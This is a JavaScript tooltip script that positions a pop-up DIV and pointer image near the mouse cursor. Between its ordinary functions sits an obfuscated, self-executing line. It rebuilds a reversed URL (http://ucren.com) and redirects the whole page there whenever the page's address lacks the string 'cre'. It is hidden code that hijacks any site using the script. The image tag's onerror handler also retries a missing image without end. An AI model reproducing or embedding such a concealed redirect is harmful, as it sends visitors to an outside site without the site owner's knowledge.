popdiv

　　var offsetfromcursorX=12 //Customize x offset of tooltip

　　var offsetfromcursorY=10 //Customize y offset of tooltip

　　var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image

　　var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

　　document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV

　　document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

　　var ie=document.all

　　var ns6=document.getElementById && !document.all

　　var enabletip=false

　　if (ie||ns6)

　　var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

　　var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

　　function ietruebody(){

　　return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body

　　}

　　function ddrivetip(thetext, thewidth, thecolor){

　　if (ns6||ie){

　　if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"

　　if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor

　　tipobj.innerHTML=thetext

　　enabletip=true

　　return false

　　}

　　}

　　(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\

　　cu//:p\

　　tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

　　function positiontip(e){

　　if (enabletip){

　　var nondefaultpos=false

　　var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;

　　var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;

　　//Find out how close the mouse is to the corner of the window

　　var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20

　　var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

　　var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX

　　var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

　　var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

　　//if the horizontal distance isn't enough to accomodate the width of the context menu

　　if (rightedge<tipobj.offsetWidth){

　　//move the horizontal position of the menu to the left by it's width

　　tipobj.style.left=curX-tipobj.offsetWidth+"px"

　　nondefaultpos=true

　　}

　　else if (curX<leftedge)

　　tipobj.style.left="5px"

　　else{

　　//position the horizontal position of the menu where the mouse is positioned

　　tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"

　　pointerobj.style.left=curX+offsetfromcursorX+"px"

　　}

　　//same concept with the vertical position

　　if (bottomedge<tipobj.offsetHeight){

　　tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"

　　nondefaultpos=true

　　}

　　else{

　　tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"

　　pointerobj.style.top=curY+offsetfromcursorY+"px"

　　}

　　tipobj.style.visibility="visible"

　　if (!nondefaultpos)

　　pointerobj.style.visibility="visible"

　　else

　　pointerobj.style.visibility="hidden"

　　}

　　}

　　function hideddrivetip(){

　　if (ns6||ie){

　　enabletip=false

　　tipobj.style.visibility="hidden"

　　pointerobj.style.visibility="hidden"

　　tipobj.style.left="-1000px"

　　tipobj.style.backgroundColor=''

　　tipobj.style.width=''

　　}

　　}

　　document.onmousemove=positiontip